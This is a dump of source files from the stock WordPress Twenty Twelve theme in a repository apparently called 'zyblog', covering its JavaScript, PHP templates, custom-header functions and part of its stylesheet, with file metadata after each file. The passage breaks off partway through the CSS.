/** * Theme Customizer enhancements for a better user experience. * * Contains handlers to make Theme Customizer preview reload changes asynchronously. * Things like site title, description, and background color changes. */ ( function( $ ) { // Site title and description. wp.customize( 'blogname', function( value ) { value.bind( function( to ) { $( '.site-title a' ).html( to ); } ); } ); wp.customize( 'blogdescription', function( value ) { value.bind( function( to ) { $( '.site-description' ).html( to ); } ); } ); // Hook into background color change and adjust body class value as needed. wp.customize( 'background_color', function( value ) { value.bind( function( to ) { if ( '#ffffff' == to || '#fff' == to ) $( 'body' ).addClass( 'custom-background-white' ); else if ( '' == to ) $( 'body' ).addClass( 'custom-background-empty' ); else $( 'body' ).removeClass( 'custom-background-empty custom-background-white' ); } ); } ); } )( jQuery );
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/js/theme-customizer.js
JavaScript
asf20
1,002
/** * navigation.js * * Handles toggling the navigation menu for small screens. */ ( function() { var nav = document.getElementById( 'site-navigation' ), button, menu; if ( ! nav ) return; button = nav.getElementsByTagName( 'h3' )[0]; menu = nav.getElementsByTagName( 'ul' )[0]; if ( ! button ) return; // Hide button if menu is missing or empty. if ( ! menu || ! menu.childNodes.length ) { button.style.display = 'none'; return; } button.onclick = function() { if ( -1 == menu.className.indexOf( 'nav-menu' ) ) menu.className = 'nav-menu'; if ( -1 != button.className.indexOf( 'toggled-on' ) ) { button.className = button.className.replace( ' toggled-on', '' ); menu.className = menu.className.replace( ' toggled-on', '' ); } else { button.className += ' toggled-on'; menu.className += ' toggled-on'; } }; } )();
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/js/navigation.js
JavaScript
asf20
863
<?php /** * The Header for our theme. * * Displays all of the <head> section and everything up till <div id="main"> * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" <?php language_attributes(); ?>> <![endif]--> <!--[if IE 8]> <html class="ie ie8" <?php language_attributes(); ?>> <![endif]--> <!--[if !(IE 7) | !(IE 8) ]><!--> <html <?php language_attributes(); ?>> <!--<![endif]--> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width" /> <title><?php wp_title( '|', true, 'right' ); ?></title> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" /> <?php // Loads HTML5 JavaScript file to add support for HTML5 elements in older IE versions. ?> <!--[if lt IE 9]> <script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script> <![endif]--> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <div id="page" class="hfeed site"> <header id="masthead" class="site-header" role="banner"> <hgroup> <h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1> <h2 class="site-description"><?php bloginfo( 'description' ); ?></h2> </hgroup> <nav id="site-navigation" class="main-navigation" role="navigation"> <h3 class="menu-toggle"><?php _e( 'Menu', 'twentytwelve' ); ?></h3> <a class="assistive-text" href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentytwelve' ); ?>"><?php _e( 'Skip to content', 'twentytwelve' ); ?></a> <?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu' ) ); ?> </nav><!-- #site-navigation --> <?php $header_image = get_header_image(); if ( ! empty( $header_image ) ) : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img src="<?php echo esc_url( $header_image ); ?>" class="header-image" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="" /></a> <?php endif; ?> </header><!-- #masthead --> <div id="main" class="wrapper">
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/header.php
PHP
asf20
2,285
<?php /** * The default template for displaying content. Used for both single and index/archive/search. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <?php if ( is_sticky() && is_home() && ! is_paged() ) : ?> <div class="featured-post"> <?php _e( 'Featured post', 'twentytwelve' ); ?> </div> <?php endif; ?> <header class="entry-header"> <?php the_post_thumbnail(); ?> <?php if ( is_single() ) : ?> <h1 class="entry-title"><?php the_title(); ?></h1> <?php else : ?> <h1 class="entry-title"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a> </h1> <?php endif; // is_single() ?> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php twentytwelve_entry_meta(); ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> <?php if ( is_singular() && get_the_author_meta( 'description' ) && is_multi_author() ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries. ?> <div class="author-info"> <div class="author-avatar"> <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentytwelve_author_bio_avatar_size', 68 ) ); ?> </div><!-- .author-avatar --> <div class="author-description"> <h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2> <p><?php the_author_meta( 'description' ); ?></p> <div class="author-link"> <a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author"> <?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentytwelve' ), get_the_author() ); ?> </a> </div><!-- .author-link --> </div><!-- .author-description --> </div><!-- .author-info --> <?php endif; ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content.php
PHP
asf20
2,972
<?php /** * The template for displaying posts in the Image post format * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"> <h1><?php the_title(); ?></h1> <h2><time class="entry-date" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php echo get_the_date(); ?></time></h2> </a> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-image.php
PHP
asf20
1,256
<?php /** * The template for displaying Archive pages. * * Used to display archive-type pages if nothing more specific matches a query. * For example, puts together date-based pages if no date.php file exists. * * If you'd like to further customize these archive views, you may create a * new template file for each specific one. For example, Twenty Twelve already * has tag.php for Tag archives, category.php for Category archives, and * author.php for Author archives. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <section id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="archive-header"> <h1 class="archive-title"><?php if ( is_day() ) : printf( __( 'Daily Archives: %s', 'twentytwelve' ), '<span>' . get_the_date() . '</span>' ); elseif ( is_month() ) : printf( __( 'Monthly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentytwelve' ) ) . '</span>' ); elseif ( is_year() ) : printf( __( 'Yearly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentytwelve' ) ) . '</span>' ); else : _e( 'Archives', 'twentytwelve' ); endif; ?></h1> </header><!-- .archive-header --> <?php /* Start the Loop */ while ( have_posts() ) : the_post(); /* Include the post format-specific template for the content. If you want to * this in a child theme then include a file called called content-___.php * (where ___ is the post format) and that will be used instead. */ get_template_part( 'content', get_post_format() ); endwhile; twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <?php get_template_part( 'content', 'none' ); ?> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/archive.php
PHP
asf20
2,068
<?php /** * The template for displaying posts in the Status post format * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="entry-header"> <header> <h1><?php the_author(); ?></h1> <h2><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a></h2> </header> <?php echo get_avatar( get_the_author_meta( 'ID' ), apply_filters( 'twentytwelve_status_avatar', '48' ) ); ?> </div><!-- .entry-header --> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-status.php
PHP
asf20
1,359
<?php /** * Implements an optional custom header for Twenty Twelve. * See http://codex.wordpress.org/Custom_Headers * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ /** * Sets up the WordPress core custom header arguments and settings. * * @uses add_theme_support() to register support for 3.4 and up. * @uses twentytwelve_header_style() to style front-end. * @uses twentytwelve_admin_header_style() to style wp-admin form. * @uses twentytwelve_admin_header_image() to add custom markup to wp-admin form. * * @since Twenty Twelve 1.0 */ function twentytwelve_custom_header_setup() { $args = array( // Text color and image (empty to use none). 'default-text-color' => '444', 'default-image' => '', // Set height and width, with a maximum value for the width. 'height' => 250, 'width' => 960, 'max-width' => 2000, // Support flexible height and width. 'flex-height' => true, 'flex-width' => true, // Random image rotation off by default. 'random-default' => false, // Callbacks for styling the header and the admin preview. 'wp-head-callback' => 'twentytwelve_header_style', 'admin-head-callback' => 'twentytwelve_admin_header_style', 'admin-preview-callback' => 'twentytwelve_admin_header_image', ); add_theme_support( 'custom-header', $args ); } add_action( 'after_setup_theme', 'twentytwelve_custom_header_setup' ); /** * Styles the header text displayed on the blog. * * get_header_textcolor() options: 444 is default, hide text (returns 'blank'), or any hex value. * * @since Twenty Twelve 1.0 */ function twentytwelve_header_style() { $text_color = get_header_textcolor(); // If no custom options for text are set, let's bail if ( $text_color == get_theme_support( 'custom-header', 'default-text-color' ) ) return; // If we get this far, we have custom styles. ?> <style type="text/css"> <?php // Has the text been hidden? if ( ! display_header_text() ) : ?> .site-title, .site-description { position: absolute !important; clip: rect(1px 1px 1px 1px); /* IE7 */ clip: rect(1px, 1px, 1px, 1px); } <?php // If the user has set a custom color for the text, use that. else : ?> .site-title a, .site-description { color: #<?php echo $text_color; ?> !important; } <?php endif; ?> </style> <?php } /** * Styles the header image displayed on the Appearance > Header admin panel. * * @since Twenty Twelve 1.0 */ function twentytwelve_admin_header_style() { ?> <style type="text/css"> .appearance_page_custom-header #headimg { border: none; } #headimg h1, #headimg h2 { line-height: 1.6; margin: 0; padding: 0; } #headimg h1 { font-size: 30px; } #headimg h1 a { color: #515151; text-decoration: none; } #headimg h1 a:hover { color: #21759b; } #headimg h2 { color: #757575; font: normal 13px/1.8 "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", sans-serif; margin-bottom: 24px; } #headimg img { max-width: <?php echo get_theme_support( 'custom-header', 'max-width' ); ?>px; } </style> <?php } /** * Outputs markup to be displayed on the Appearance > Header admin panel. * This callback overrides the default markup displayed there. * * @since Twenty Twelve 1.0 */ function twentytwelve_admin_header_image() { ?> <div id="headimg"> <?php if ( ! display_header_text() ) $style = ' style="display:none;"'; else $style = ' style="color:#' . get_header_textcolor() . ';"'; ?> <h1><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1> <h2 id="desc"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></h2> <?php $header_image = get_header_image(); if ( ! empty( $header_image ) ) : ?> <img src="<?php echo esc_url( $header_image ); ?>" class="header-image" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="" /> <?php endif; ?> </div> <?php }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/inc/custom-header.php
PHP
asf20
4,124
<?php /** * The template for displaying Search Results pages. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <section id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentytwelve' ), '<span>' . get_search_query() . '</span>' ); ?></h1> </header> <?php twentytwelve_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1> </header> <div class="entry-content"> <p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentytwelve' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/search.php
PHP
asf20
1,348
<?php /** * The sidebar containing the main widget area. * * If no active widgets in sidebar, let's hide it completely. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?> <div id="secondary" class="widget-area" role="complementary"> <?php dynamic_sidebar( 'sidebar-1' ); ?> </div><!-- #secondary --> <?php endif; ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/sidebar.php
PHP
asf20
417
<?php /** * The template for displaying 404 pages (Not Found). * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <article id="post-0" class="post error404 no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentytwelve' ); ?></h1> </header> <div class="entry-content"> <p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentytwelve' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/404.php
PHP
asf20
814
<?php /** * The template for displaying Category pages. * * Used to display archive-type pages for posts in a category. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <section id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="archive-header"> <h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentytwelve' ), '<span>' . single_cat_title( '', false ) . '</span>' ); ?></h1> <?php if ( category_description() ) : // Show an optional category description ?> <div class="archive-meta"><?php echo category_description(); ?></div> <?php endif; ?> </header><!-- .archive-header --> <?php /* Start the Loop */ while ( have_posts() ) : the_post(); /* Include the post format-specific template for the content. If you want to * this in a child theme then include a file called called content-___.php * (where ___ is the post format) and that will be used instead. */ get_template_part( 'content', get_post_format() ); endwhile; twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <?php get_template_part( 'content', 'none' ); ?> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/category.php
PHP
asf20
1,434
/* Theme Name: Twenty Twelve Theme URI: http://wordpress.org/extend/themes/twentytwelve Author: the WordPress team Author URI: http://wordpress.org/ Description: The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background. Version: 1.1 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Tags: light, gray, white, one-column, two-columns, right-sidebar, flexible-width, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready Text Domain: twentytwelve This theme, like WordPress, is licensed under the GPL. Use it to make something cool, have fun, and share what you've learned with others. */ /* =Notes -------------------------------------------------------------- This stylesheet uses rem values with a pixel fallback. The rem values (and line heights) are calculated using two variables: $rembase: 14; $line-height: 24; ---------- Examples * Use a pixel value with a rem fallback for font-size, padding, margins, etc. padding: 5px 0; padding: 0.357142857rem 0; (5 / $rembase) * Set a font-size and then set a line-height based on the font-size font-size: 16px font-size: 1.142857143rem; (16 / $rembase) line-height: 1.5; ($line-height / 16) ---------- Vertical spacing Vertical spacing between most elements should use 24px or 48px to maintain vertical rhythm: .my-new-div { margin: 24px 0; margin: 1.714285714rem 0; ( 24 / $rembase ) } ---------- Further reading http://snook.ca/archives/html_and_css/font-size-with-rem http://blog.typekit.com/2011/11/09/type-study-sizing-the-legible-letter/ /* =Reset -------------------------------------------------------------- */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { margin: 0; padding: 0; border: 0; font-size: 100%; vertical-align: baseline; } body { line-height: 1; } ol, ul { list-style: none; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: ''; content: none; } table { border-collapse: collapse; border-spacing: 0; } caption, th, td { font-weight: normal; text-align: left; } h1, h2, h3, h4, h5, h6 { clear: both; } html { overflow-y: scroll; font-size: 100%; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } a:focus { outline: thin dotted; } article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display: block; } audio, canvas, video { display: inline-block; } audio:not([controls]) { display: none; } del { color: #333; } ins { background: #fff9c0; text-decoration: none; } hr { background-color: #ccc; border: 0; height: 1px; margin: 24px; margin-bottom: 1.714285714rem; } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } small { font-size: smaller; } img { border: 0; -ms-interpolation-mode: bicubic; } /* Clearing floats */ .clear:after, .wrapper:after, .format-status .entry-header:after { clear: both; } .clear:before, .clear:after, .wrapper:before, .wrapper:after, .format-status .entry-header:before, .format-status .entry-header:after { display: table; content: ""; } /* =Repeatable patterns -------------------------------------------------------------- */ /* Small headers */ .archive-title, .page-title, .widget-title, .entry-content th, .comment-content th { font-size: 11px; font-size: 0.785714286rem; line-height: 2.181818182; font-weight: bold; text-transform: uppercase; color: #636363; } /* Shared Post Format styling */ article.format-quote footer.entry-meta, article.format-link footer.entry-meta, article.format-status footer.entry-meta { font-size: 11px; font-size: 0.785714286rem; line-height: 2.181818182; } /* Form fields, general styles first */ button, input, textarea { border: 1px solid #ccc; border-radius: 3px; font-family: inherit; padding: 6px; padding: 0.428571429rem; } button, input { line-height: normal; } textarea { font-size: 100%; overflow: auto; vertical-align: top; } /* Reset non-text input types */ input[type="checkbox"], input[type="radio"], input[type="file"], input[type="hidden"], input[type="image"], input[type="color"] { border: 0; border-radius: 0; padding: 0; } /* Buttons */ .menu-toggle, input[type="submit"], input[type="button"], input[type="reset"], article.post-password-required input[type=submit], li.bypostauthor cite span { padding: 6px 10px; padding: 0.428571429rem 0.714285714rem; font-size: 11px; font-size: 0.785714286rem; line-height: 1.428571429; font-weight: normal; color: #7c7c7c; background-color: #e6e6e6; background-repeat: repeat-x; background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6); background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6); background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6); background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6); background-image: linear-gradient(top, #f4f4f4, #e6e6e6); border: 1px solid #d2d2d2; border-radius: 3px; box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1); } .menu-toggle, button, input[type="submit"], input[type="button"], input[type="reset"] { cursor: pointer; } button[disabled], input[disabled] { cursor: default; } .menu-toggle:hover, button:hover, input[type="submit"]:hover, input[type="button"]:hover, input[type="reset"]:hover, article.post-password-required input[type=submit]:hover { color: #5e5e5e; background-color: #ebebeb; background-repeat: repeat-x; background-image: -moz-linear-gradient(top, #f9f9f9, #ebebeb); background-image: -ms-linear-gradient(top, #f9f9f9, #ebebeb); background-image: -webkit-linear-gradient(top, #f9f9f9, #ebebeb); background-image: -o-linear-gradient(top, #f9f9f9, #ebebeb); background-image: linear-gradient(top, #f9f9f9, #ebebeb); } .menu-toggle:active, .menu-toggle.toggled-on, button:active, input[type="submit"]:active, input[type="button"]:active, input[type="reset"]:active { color: #757575; background-color: #e1e1e1; background-repeat: repeat-x; background-image: -moz-linear-gradient(top, #ebebeb, #e1e1e1); background-image: -ms-linear-gradient(top, #ebebeb, #e1e1e1); background-image: -webkit-linear-gradient(top, #ebebeb, #e1e1e1); background-image: -o-linear-gradient(top, #ebebeb, #e1e1e1); background-image: linear-gradient(top, #ebebeb, #e1e1e1); box-shadow: inset 0 0 8px 2px #c6c6c6, 0 1px 0 0 #f4f4f4; border: none; } li.bypostauthor cite span { color: #fff; background-color: #21759b; background-image: none; border: 1px solid #1f6f93; border-radius: 2px; box-shadow: none; padding: 0; } /* Responsive images */ .entry-content img, .comment-content img, .widget img { max-width: 100%; /* Fluid images for posts, comments, and widgets */ } img[class*="align"], img[class*="wp-image-"], img[class*="attachment-"] { height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ } img.size-full, img.size-large, img.header-image, img.wp-post-image { max-width: 100%; height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ } /* Make sure videos and embeds fit their containers */ embed, iframe, object, video { max-width: 100%; } .entry-content .twitter-tweet-rendered { max-width: 100% !important; /* Override the Twitter embed fixed width */ } /* Images */ .alignleft { float: left; } .alignright { float: right; } .aligncenter { display: block; margin-left: auto; margin-right: auto; } .entry-content img, .comment-content img, .widget img, img.header-image, .author-avatar img, img.wp-post-image { /* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ border-radius: 3px; box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2); } .wp-caption { max-width: 100%; /* Keep wide captions from overflowing their container. */ padding: 4px; } .wp-caption .wp-caption-text, .gallery-caption, .entry-caption { font-style: italic; font-size: 12px; font-size: 0.857142857rem; line-height: 2; color: #757575; } img.wp-smiley, .rsswidget img { border: 0; border-radius: 0; box-shadow: none; margin-bottom: 0; margin-top: 0; padding: 0; } .entry-content dl.gallery-item { margin: 0; } .gallery-item a, .gallery-caption { width: 90%; } .gallery-item a { display: block; } .gallery-caption a { display: inline; } .gallery-columns-1 .gallery-item a { max-width: 100%; width: auto; } .gallery .gallery-icon img { height: auto; max-width: 90%; padding: 5%; } .gallery-columns-1 .gallery-icon img { padding: 3%; } /* Navigation */ .site-content nav { clear: both; line-height: 2; overflow: hidden; } #nav-above { padding: 24px 0; padding: 1.714285714rem 0; } #nav-above { display: none; } .paged #nav-above { display: block; } .nav-previous, .previous-image { float: left; width: 50%; } .nav-next, .next-image { float: right; text-align: right; width: 50%; } .nav-single + .comments-area, #comment-nav-above { margin: 48px 0; margin: 3.428571429rem 0; } /* Author profiles */ .author .archive-header { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .author-info { border-top: 1px solid #ededed; margin: 24px 0; margin: 1.714285714rem 0; padding-top: 24px; padding-top: 1.714285714rem; overflow: hidden; } .author-description p { color: #757575; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; } .author.archive .author-info { border-top: 0; margin: 0 0 48px; margin: 0 0 3.428571429rem; } .author.archive .author-avatar { margin-top: 0; } /* =Basic structure -------------------------------------------------------------- */ /* Body, links, basics */ html { font-size: 87.5%; } body { font-size: 14px; font-size: 1rem; font-family: Helvetica, Arial, sans-serif; text-rendering: optimizeLegibility; color: #444; } body.custom-font-enabled { font-family: "Open Sans", Helvetica, Arial, sans-serif; } a { outline: none; color: #21759b; } a:hover { color: #0f3647; } /* Assistive text */ .assistive-text, .site .screen-reader-text { position: absolute !important; clip: rect(1px, 1px, 1px, 1px); } .main-navigation .assistive-text:hover, .main-navigation .assistive-text:active, .main-navigation .assistive-text:focus { background: #fff; border: 2px solid #333; border-radius: 3px; clip: auto !important; color: #000; display: block; font-size: 12px; padding: 12px; position: absolute; top: 5px; left: 5px; z-index: 100000; /* Above WP toolbar */ } /* Page structure */ .site { padding: 0 24px; padding: 0 1.714285714rem; background-color: #fff; } .site-content { margin: 24px 0 0; margin: 1.714285714rem 0 0; } .widget-area { margin: 24px 0 0; margin: 1.714285714rem 0 0; } /* Header */ .site-header { padding: 24px 0; padding: 1.714285714rem 0; } .site-header h1, .site-header h2 { text-align: center; } .site-header h1 a, .site-header h2 a { color: #515151; display: inline-block; text-decoration: none; } .site-header h1 a:hover, .site-header h2 a:hover { color: #21759b; } .site-header h1 { font-size: 24px; font-size: 1.714285714rem; line-height: 1.285714286; margin-bottom: 14px; margin-bottom: 1rem; } .site-header h2 { font-weight: normal; font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; color: #757575; } .header-image { margin-top: 24px; margin-top: 1.714285714rem; } /* Navigation Menu */ .main-navigation { margin-top: 24px; margin-top: 1.714285714rem; text-align: center; } .main-navigation li { margin-top: 24px; margin-top: 1.714285714rem; font-size: 12px; font-size: 0.857142857rem; line-height: 1.42857143; } .main-navigation a { color: #5e5e5e; } .main-navigation a:hover { color: #21759b; } .main-navigation ul.nav-menu, .main-navigation div.nav-menu > ul { display: none; } .main-navigation ul.nav-menu.toggled-on, .menu-toggle { display: inline-block; } /* Banner */ section[role="banner"] { margin-bottom: 48px; margin-bottom: 3.428571429rem; } /* Sidebar */ .widget-area .widget { -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; margin-bottom: 48px; margin-bottom: 3.428571429rem; word-wrap: break-word; } .widget-area .widget h3 { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .widget-area .widget p, .widget-area .widget li, .widget-area .widget .textwidget { font-size: 13px; font-size: 0.928571429rem; line-height: 1.846153846; } .widget-area .widget p { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .widget-area .textwidget ul { list-style: disc outside; margin: 0 0 24px; margin: 0 0 1.714285714rem; } .widget-area .textwidget li { margin-left: 36px; margin-left: 2.571428571rem; } .widget-area .widget a { color: #757575; } .widget-area .widget a:hover { color: #21759b; } .widget-area #s { width: 53.66666666666%; /* define a width to avoid dropping a wider submit button */ } /* Footer */ footer[role="contentinfo"] { border-top: 1px solid #ededed; clear: both; font-size: 12px; font-size: 0.857142857rem; line-height: 2; max-width: 960px; max-width: 68.571428571rem; margin-top: 24px; margin-top: 1.714285714rem; margin-left: auto; margin-right: auto; padding: 24px 0; padding: 1.714285714rem 0; } footer[role="contentinfo"] a { color: #686868; } footer[role="contentinfo"] a:hover { color: #21759b; } /* =Main content and comment content -------------------------------------------------------------- */ .entry-meta { clear: both; } .entry-header { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .entry-header img.wp-post-image { margin-bottom: 24px; margin-bottom: 1.714285714rem; } .entry-header .entry-title { font-size: 20px; font-size: 1.428571429rem; line-height: 1.2; font-weight: normal; } .entry-header .entry-title a { text-decoration: none; } .entry-header .entry-format { margin-top: 24px; margin-top: 1.714285714rem; font-weight: normal; } .entry-header .comments-link { margin-top: 24px; margin-top: 